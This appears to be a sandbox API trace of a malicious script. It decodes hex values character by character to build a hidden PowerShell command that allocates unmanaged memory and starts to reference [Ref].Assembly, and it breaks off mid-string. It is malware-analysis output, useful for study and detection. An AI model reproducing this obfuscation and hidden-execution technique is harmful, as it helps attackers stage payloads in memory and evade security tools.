[0071.941] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal", bstrRight="(", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.941] VarBstrCat (in: bstrLeft="&H", bstrRight="72", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.941] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.941] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0071.942] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(", bstrRight="9", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.942] VarBstrCat (in: bstrLeft="&H", bstrRight="60", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.942] VarParseNumFromStr (in: strIn="&H60", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.942] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="`") returned 1 [0071.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="`", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="`£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0071.942] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9", bstrRight="0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.942] VarBstrCat (in: bstrLeft="&H", bstrRight="6E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.942] VarParseNumFromStr (in: strIn="&H6E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.942] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0071.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0071.943] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(90", bstrRight="7", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.943] VarBstrCat (in: bstrLeft="&H", bstrRight="6C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.943] VarParseNumFromStr (in: strIn="&H6C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.943] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0071.943] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(907", bstrRight="6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.943] VarBstrCat (in: bstrLeft="&H", bstrRight="52", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.943] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.943] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="R") returned 1 [0071.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="R", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="R£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr=")") returned 1 [0071.944] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076", bstrRight=")", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.944] VarBstrCat (in: bstrLeft="&H", bstrRight="76", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.944] VarParseNumFromStr (in: strIn="&H76", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.944] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0071.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="v£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0071.944] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)", bstrRight=";", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.944] VarBstrCat (in: bstrLeft="&H", bstrRight="B6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.944] VarParseNumFromStr (in: strIn="&HB6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.944] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="¶") returned 1 [0071.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¶", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¶£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="[") returned 1 [0071.945] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);", bstrRight="[", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.945] VarBstrCat (in: bstrLeft="&H", bstrRight="A4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.945] VarParseNumFromStr (in: strIn="&HA4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.945] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="¤") returned 1 [0071.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¤", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¤£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="R") returned 1 [0071.945] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[", bstrRight="R", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.945] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.945] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.945] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.946] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[R", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.946] VarBstrCat (in: bstrLeft="&H", bstrRight="CC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.946] VarParseNumFromStr (in: strIn="&HCC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.946] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ì") returned 1 [0071.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ì", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ì£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0071.946] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Re", bstrRight="f", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.946] VarBstrCat (in: bstrLeft="&H", bstrRight="BA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.946] VarParseNumFromStr (in: strIn="&HBA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.947] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="º") returned 1 [0071.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="º", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="º£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="]") returned 1 [0071.947] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref", bstrRight="]", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.947] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.947] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.947] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0071.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0071.947] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref]", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.947] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.947] VarParseNumFromStr (in: strIn="&H82", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.948] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="‚") returned 1 [0071.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0071.948] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].", bstrRight="A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.948] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.948] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.948] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0071.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.948] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].A", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.948] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.948] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.949] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0071.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.949] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].As", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.949] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.949] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.949] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.949] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Ass", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.949] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.950] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.950] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0071.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0071.950] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Asse", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.068] VarBstrCat (in: bstrLeft="&H", bstrRight="C4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.068] VarParseNumFromStr (in: strIn="&HC4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.068] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ä") returned 1 [0072.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ä£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0072.068] VarBstrCat (in: bstrLeft="-WindowStyle Hidden 